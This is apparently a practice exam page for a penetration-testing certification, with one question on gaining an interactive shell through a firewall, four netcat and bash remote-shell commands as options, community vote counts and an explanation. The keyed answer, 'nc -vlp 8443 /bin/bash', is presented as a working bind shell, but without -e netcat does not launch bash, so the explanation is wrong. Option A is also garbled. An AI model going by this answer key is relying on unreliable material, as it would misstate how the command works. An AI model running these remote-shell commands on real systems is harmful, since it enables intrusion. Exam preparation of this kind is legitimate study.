PT0-002 · Question #462
After compromising a remote host, a penetration tester is able to obtain a web shell. A firewall is blocking outbound traffic. Which of the following commands would allow the penetration tester to…
The correct answer is C. nc -vlp 8443 /bin/bash. Explanation: When a firewall blocks outbound traffic, a reverse shell (which would initiate an outbound connection) won’t work. Instead, you can set up a bind shell on the remote host, so that the target listens on a port for an incoming connection from the attacker. The…
Question
After compromising a remote host, a penetration tester is able to obtain a web shell. A firewall is blocking outbound traffic. Which of the following commands would allow the penetration tester to obtain an interactive shell on the remote host?
Options
- Abash -i >& /dev/tcp 8443 0>&l
- Bnc -e host 8443 /bin/bash
- Cnc -vlp 8443 /bin/bash
- Dnc -vp 8443 /bin/bash
How the community answered
(36 responses)- A3% (1)
- B6% (2)
- C81% (29)
- D11% (4)
Explanation
Explanation: When a firewall blocks outbound traffic, a reverse shell (which would initiate an outbound connection) won’t work. Instead, you can set up a bind shell on the remote host, so that the target listens on a port for an incoming connection from the attacker. The command: nc -vlp 8443 /bin/bash uses netcat in listen mode (-l) with verbose output (-v) on port 8443 (-p 8443) to bind an interactive shell (/bin/bash) to that port. This allows the penetration tester to connect to the remote host and obtain an interactive shell.
Topics
Community Discussion
No community discussion yet for this question.